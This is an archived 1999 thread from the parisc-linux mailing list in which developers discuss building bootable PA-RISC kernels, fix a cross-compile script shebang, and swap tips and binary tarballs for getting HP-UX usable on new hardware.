correctly in a file called bootstrap.bin.

This handles all the ISL and LIF stuff that we shouldn't have to deal with
anymore.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:15:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] making a bootable image
Date: Wed, 9 Jun 1999 15:26:16 -0400 (EDT)
Lines: 4
Approved: news@gmane.org
Message-ID: <199906091926.PAA05977@hiauly1.hia.nrc.ca>
References: <Pine.LNX.3.96.990609143718.25825A-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619619 11841 80.91.229.3 (22 Nov 2014 01:26:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@redhat.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jun  9 13:26:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA23290
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 13:26:36 -0600
Original-Received: (qmail 19896 invoked by uid 15267); 9 Jun 1999 19:26:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19884 invoked from network); 9 Jun 1999 19:26:07 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 19:26:07 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA05977;
	Wed, 9 Jun 1999 15:26:16 -0400 (EDT)
In-Reply-To: <Pine.LNX.3.96.990609143718.25825A-100000@devserv.devel.redhat.com> from "Alex deVries" at Jun 9, 99 02:39:23 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9473

> I've committed my changes which basically fix up the kernel so you can
> build it with 'make bootable', and the bootstrap code will be setup
> correctly in a file called bootstrap.bin.


From - Thu Nov 08 21:15:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nobody@nowhere.invalid (Unknown)
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Sat, 22 Nov 2014 01:26:59 +0000 (UTC)
Lines: 14
Approved: news@gmane.org
Message-ID: <22573.7205510542$1416619619@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619619 11844 80.91.229.3 (22 Nov 2014 01:26:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:59 +0000 (UTC)
Original-X-From: time to time I have had various troubles with cvs updates.  For
example: 
Xref: news.gmane.org gmane.linux.ports.parisc:9474

...
P linux/arch/parisc/config.in
P linux/arch/parisc/defconfig
cvs server: Updating linux/arch/parisc/boot
cvs server: Updating linux/arch/parisc/boot/boot_code
cvs [server aborted]: cannot open directory /home/cvs/parisc/linux/arch/parisc/b
oot/boot_code: No such file or directory

Dave

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] making a bootable image
Date: Wed, 9 Jun 1999 22:48:08 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <199906092048.WAA02220@pallas.spacetec.no>
References: <adevries@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619619 11847 80.91.229.3 (22 Nov 2014 01:26:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tor@spacetec.no  Wed Jun  9 14:48:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA23549
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 14:48:14 -0600
Original-Received: (qmail 9191 invoked by uid 15267); 9 Jun 1999 20:47:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9182 invoked from network); 9 Jun 1999 20:47:45 -0000
Original-Received: from pallas.spacetec.no (192.51.5.92)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 20:47:45 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id WAA02220
	for parisc-linux@thepuffingroup.com; Wed, 9 Jun 1999 22:48:11 +0200
In-Reply-To: Alex deVries <adevries@redhat.com>
       "[parisc-linux] making a bootable image" (Jun  9, 19:44)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:9475

On Jun 9, 19:44, Alex deVries wrote:
>I've committed my changes which basically fix up the kernel so you can
>build it with 'make bootable', and the bootstrap code will be setup
>correctly in a file called bootstrap.bin.

For those of you who are able to actually compile all the way through,
what does your .config look like?

echo `grep -v # .config | grep -v 'not set' | grep 'CONF'` \
|mail parisc-linux@thepuffingroup.com

:-)

-Tor


From - Thu Nov 08 21:15:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] build success
Date: Wed, 9 Jun 1999 23:26:08 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <199906092126.XAA02287@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619620 11848 80.91.229.3 (22 Nov 2014 01:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tor@spacetec.no  Wed Jun  9 15:26:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA23770
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 15:26:08 -0600
Original-Received: (qmail 16803 invoked by uid 15267); 9 Jun 1999 21:25:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16796 invoked from network); 9 Jun 1999 21:25:39 -0000
Original-Received: from pallas.spacetec.no (192.51.5.92)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 21:25:39 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id XAA02287
	for parisc-linux@thepuffingroup.com; Wed, 9 Jun 1999 23:26:10 +0200
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:9476

Alex deVries mailed me and said he used the default configs, so I just
pressed return to all make config questions and hey presto it compiled
(except for one thing, coming back to that).

Cross-compiling environment: SGI Octane, irix 6.5, self-built cross compiler
and binutils (from CVS), linux kernel from cvs.

One little thing failed for me (people are obviously cross-compiling on
Linux in general, I guess).  There is no /bin/bash on SGI, it mostly lives
in /usr/freeware/bin.  The following patch fixed it for me (typical Perl
portability hack):

------
Index: arch/parisc/hp//boot/boot_tools/createheader.sh
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/hp/boot/boot_tools/createheader.sh,v
retrieving revision 1.1
diff -u -r1.1 createheader.sh
--- createheader.sh	1999/06/09 18:28:04	1.1
+++ createheader.sh	1999/06/09 21:20:20
@@ -1,4 +1,4 @@
-#!/bin/bash
+#!/usr/bin/env bash
 
 # This is a script that creates a header given the 
 # ipl and vmlinux file locations.
------

-Tor


From - Thu Nov 08 21:15:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trying to get HP-UX working
Date: Wed, 9 Jun 1999 22:43:14 +0100 (BST)
Lines: 14
Approved: news@gmane.org
Message-ID: <E10rq7u-0000km-00@the-village.bc.nu>
References: <199906092126.XAA02287@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619620 11850 80.91.229.3 (22 Nov 2014 01:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: tor@spacetec.no (Tor Arntsen)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Jun  9 15:46:56 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA23956
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 15:46:56 -0600
Original-Received: (qmail 20887 invoked by uid 15267); 9 Jun 1999 21:43:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20879 invoked from network); 9 Jun 1999 21:43:40 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 21:43:40 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10rq7u-0000km-00; Wed, 9 Jun 1999 22:43:14 +0100
In-Reply-To: <199906092126.XAA02287@pallas.spacetec.no> from "Tor Arntsen" at Jun 9, 99 11:26:08 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9477

Well I have the HP a hub and some cabling. The web console works great (cute
hack) and it understands my subnetting although it came shipped on an 
IP address belonging to RIPE not HP or RFC1597 (duh)

I can't however get HP/UX to set up an interface 

	194.168.151.23 netmask 255.255.255.224

which I really need to do. Also before I go and build all the sane tools
so the box is usable has anyone already built a big tar file of HP/UX binaries
of gcc/bash/fileutils etc ?

Alan


From - Thu Nov 08 21:15:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] build success
Date: Wed, 09 Jun 1999 18:06:27 -0400
Organization: The Puffin Group
Lines: 16
Approved: news@gmane.org
Message-ID: <375EE563.71B06F27@thepuffingroup.com>
References: <199906092126.XAA02287@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619620 11854 80.91.229.3 (22 Nov 2014 01:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Tor Arntsen <tor@spacetec.no>
Original-X-From: adevries@thepuffingroup.com  Wed Jun  9 15:59:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA24197
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 15:59:46 -0600
Original-Received: (qmail 24715 invoked by uid 15267); 9 Jun 1999 21:59:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24698 invoked from network); 9 Jun 1999 21:59:16 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 21:59:16 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id SAA15708;
	Wed, 9 Jun 1999 18:06:28 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9478

Tor Arntsen wrote:
> 
> Alex deVries mailed me and said he used the default configs, so I just
> pressed return to all make config questions and hey presto it compiled
> (except for one thing, coming back to that).


Ack.  I'm having problems hitting 'reply all'.

> -#!/bin/bash
> +#!/usr/bin/env bash

I've changed this to /bin/sh, and that's committed now.

- Alex


From - Thu Nov 08 21:15:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] build success
Date: Thu, 10 Jun 1999 00:06:47 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <199906092206.AAA02367@pallas.spacetec.no>
References: <adevries@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619620 11856 80.91.229.3 (22 Nov 2014 01:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tor@spacetec.no  Wed Jun  9 16:08:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA24494
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 16:08:10 -0600
Original-Received: (qmail 27693 invoked by uid 15267); 9 Jun 1999 22:07:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27686 invoked from network); 9 Jun 1999 22:07:40 -0000
Original-Received: from pallas.spacetec.no (192.51.5.92)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 22:07:40 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id AAA02367
	for parisc-linux@thepuffingroup.com; Thu, 10 Jun 1999 00:06:50 +0200
In-Reply-To: Alex deVries <adevries@thepuffingroup.com>
       "Re: [parisc-linux] build success" (Jun  9, 23:02)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:9479

On Jun 9, 23:02, Alex deVries wrote:
>Ack.  I'm having problems hitting 'reply all'.
>
>> -#!/bin/bash
>> +#!/usr/bin/env bash
>
>I've changed this to /bin/sh, and that's committed now.

I assumed there was something bash specific in that script (but I didn't 
look).

make clean; make bootable worked fine with your update (1.5 minutes
build time on an Octane.. ahh, I'll start compiling my i386 kernel 
there I guess :-)

-Tor


From - Thu Nov 08 21:15:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: xomina <ryan@email.labmed.umn.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Wed, 9 Jun 1999 17:27:51 -0500 (CDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.02.9906091723000.5674-100000@email.labmed.umn.edu>
References: <E10rq7u-0000km-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619621 11858 80.91.229.3 (22 Nov 2014 01:27:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: ryan@email.labmed.umn.edu  Wed Jun  9 16:29:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA24718
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 16:29:04 -0600
Original-Received: (qmail 1694 invoked by uid 15267); 9 Jun 1999 22:28:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1678 invoked from network); 9 Jun 1999 22:28:29 -0000
Original-Received: from email.labmed.umn.edu (128.101.59.42)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 22:28:29 -0000
Original-Received: from email.labmed.umn.edu (email.labmed.umn.edu [128.101.59.42])
	by email.labmed.umn.edu (8.8.8/8.8.5) with SMTP id RAA08425;
	Wed, 9 Jun 1999 17:27:52 -0500 (CDT)
In-Reply-To: <E10rq7u-0000km-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:9480


On Wed, 9 Jun 1999, Alan Cox wrote:

> which I really need to do. Also before I go and build all the sane tools
> so the box is usable has anyone already built a big tar file of HP/UX binaries
> of gcc/bash/fileutils etc ?

here's the gnu directory taken from my HP-UX 10.20 machine at work.  it
includes the info/, man/, include/, etc directories, so let me know if
you'd prefer just bin/.  it's 11.5 MB gzipped right now.  and go easy, i
put it on my lowly P120 Debian machine... 8)

http://209.181.241.33/~oig/gnu.tar.gz

ryan


From - Thu Nov 08 21:15:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Wed, 9 Jun 1999 18:43:02 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <199906092243.SAA15136@hiauly1.hia.nrc.ca>
References: <Pine.GSO.4.02.9906091723000.5674-100000@email.labmed.umn.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619621 11863 80.91.229.3 (22 Nov 2014 01:27:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:01 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: ryan@email.labmed.umn.edu (xomina)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jun  9 16:43:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA25033
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 16:43:28 -0600
Original-Received: (qmail 6332 invoked by uid 15267); 9 Jun 1999 22:43:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6325 invoked from network); 9 Jun 1999 22:43:00 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 22:43:00 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA15136;
	Wed, 9 Jun 1999 18:43:02 -0400 (EDT)
In-Reply-To: <Pine.GSO.4.02.9906091723000.5674-100000@email.labmed.umn.edu> from "xomina" at Jun 9, 99 05:27:51 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9481

> 
> 
> On Wed, 9 Jun 1999, Alan Cox wrote:
> 
> > which I really need to do. Also before I go and build all the sane tools
> > so the box is usable has anyone already built a big tar file of HP/UX binaries
> > of gcc/bash/fileutils etc ?
> 
> here's the gnu directory taken from my HP-UX 10.20 machine at work.  it
> includes the info/, man/, include/, etc directories, so let me know if
> you'd prefer just bin/.  it's 11.5 MB gzipped right now.  and go easy, i
> put it on my lowly P120 Debian machine... 8)

Are they static so that they will work without shared libraries?

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Wed, 9 Jun 1999 23:48:22 +0100 (BST)
Lines: 9
Approved: news@gmane.org
Message-ID: <E10rr93-0000pP-00@the-village.bc.nu>
References: <Pine.GSO.4.02.9906091723000.5674-100000@email.labmed.umn.edu>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619622 11889 80.91.229.3 (22 Nov 2014 01:27:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:02 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: ryan@email.labmed.umn.edu (xomina)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Jun  9 16:51:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA25340
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 16:51:00 -0600
Original-Received: (qmail 7463 invoked by uid 15267); 9 Jun 1999 22:50:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7451 invoked from network); 9 Jun 1999 22:50:27 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 22:50:27 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10rr93-0000pP-00; Wed, 9 Jun 1999 23:48:30 +0100
In-Reply-To: <Pine.GSO.4.02.9906091723000.5674-100000@email.labmed.umn.edu> from "xomina" at Jun 9, 99 05:27:51 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9482

> here's the gnu directory taken from my HP-UX 10.20 machine at work.  it
> includes the info/, man/, include/, etc directories, so let me know if
> you'd prefer just bin/.  it's 11.5 MB gzipped right now.  and go easy, i
> put it on my lowly P120 Debian machine... 8)
> 
> http://209.181.241.33/~oig/gnu.tar.gz

Grabbing. You win an official hero point 


From - Thu Nov 08 21:15:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Erik Paulson <epaulson@upl.cs.wisc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Wed, 9 Jun 1999 17:50:55 -0500 (CDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <199906092250.RAA29382@dukat.upl.cs.wisc.edu>
References: <E10rq7u-0000km-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619622 11900 80.91.229.3 (22 Nov 2014 01:27:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: epaulson@dukat.upl.cs.wisc.edu  Wed Jun  9 16:52:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA25449
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 16:52:07 -0600
Original-Received: (qmail 7619 invoked by uid 15267); 9 Jun 1999 22:51:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7612 invoked from network); 9 Jun 1999 22:51:38 -0000
Original-Received: from dukat.upl.cs.wisc.edu (128.105.45.39)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 22:51:38 -0000
Original-Received: (from epaulson@localhost)
	by dukat.upl.cs.wisc.edu (8.9.2/8.9.2) id RAA29382;
	Wed, 9 Jun 1999 17:50:55 -0500 (CDT)
In-Reply-To: <E10rq7u-0000km-00@the-village.bc.nu> from "Alan Cox" at Jun 9, 99 10:43:14 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9483

> 
> Well I have the HP a hub and some cabling. The web console works great (cute
> hack) and it understands my subnetting although it came shipped on an 
> IP address belonging to RIPE not HP or RFC1597 (duh)
> 
> I can't however get HP/UX to set up an interface 
> 
> 	194.168.151.23 netmask 255.255.255.224
> 
> which I really need to do. Also before I go and build all the sane tools
> so the box is usable has anyone already built a big tar file of HP/UX binaries
> of gcc/bash/fileutils etc ?

There's alot of stuff on the HP-UX Porting center; we've got a mirror here
at hpux.cae.wisc.edu, there's also a UK one at http://hpux.csc.liv.ac.uk

-Erik

> 
> Alan
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:15:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@rascal.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get HP-UX working
Date: Wed, 09 Jun 1999 16:52:29 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <199906092252.QAA06166@rascal.fc.hp.com>
References: <E10rq7u-0000km-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619622 11904 80.91.229.3 (22 Nov 2014 01:27:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:02 +0000 (UTC)
Cc: tor@spacetec.no (Tor Arntsen), parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: taggart@rascal.fc.hp.com  Wed Jun  9 16:52:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA25548
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Jun 1999 16:52:37 -0600
Original-Received: (qmail 7721 invoked by uid 15267); 9 Jun 1999 22:52:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7714 invoked from network); 9 Jun 1999 22:52:08 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 9 Jun 1999 22:52:08 -0000
Original-Received: from rascal.fc.hp.com (rascal.fc.hp.com [15.2.72.2])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA03143
	for <parisc-linux@thepuffingroup.com>; Wed, 9 Jun 1999 18:52:26 -0400 (EDT)
Original-Received: from localhost (localhost [127.0.0.1]) by rascal.fc.hp.com with SMTP (8.7.1/8.7.1) id QAA06166; Wed, 9 Jun 1999 16:52:30 -0600 (MDT)
X-Authentication-Warning: rascal.fc.hp.com: Host localhost [127.0.0.1] didn't use HELO protocol
X-Mailer: exmh version 2.0zeta 7/24/97
In-reply-to: Your message of "Wed, 09 Jun 1999 22:43:14 MDT."
             <E10rq7u-0000km-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9484


Alan Cox writes...

 >I can't however get HP/UX to set up an interface 
 >
 >	194.168.151.23 netmask 255.255.255.224

Are you getting errors or do you just need to know where to make changes? 
If it's the former, post the errors and maybe someone can help. If its the 
latter, you probably want to edit /etc/rc.config.d/netconf

 >which I really need to do. Also before I go and build all the sane tools
 >so the box is usable has anyone already built a big tar file of HP/UX 
binaries
 >of gcc/bash/fileutils etc ?

I think it would be nice for all the developers to be sync'ed up and using 
the latest tools. Right?

Does it make sense to go one step further and package them in either HP's 
SD depot format or alternatively RPM(and provide RPM on HP-UX)? I have some 
SD experience and could automate the packaging if needed.

Another, somewhat larger, option would be to produce a custom HP-UX image 
for the people working on the port. We can slap that image on bootable CDs 
for distribution. Rebuilding a system from one of these CD's only takes 
about 20 minutes. The image could be rebuilt fairly easily if it needed to 
be updated.  I can also help with this if needed.

What does everyone think?

Thanks,

--
Matt Taggart       Technical Consulting Lab
taggart@fc.hp.com  Workstation Systems Division
Ft Collins, CO     Hewlett Packard




From - Thu Nov 08 21:15:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
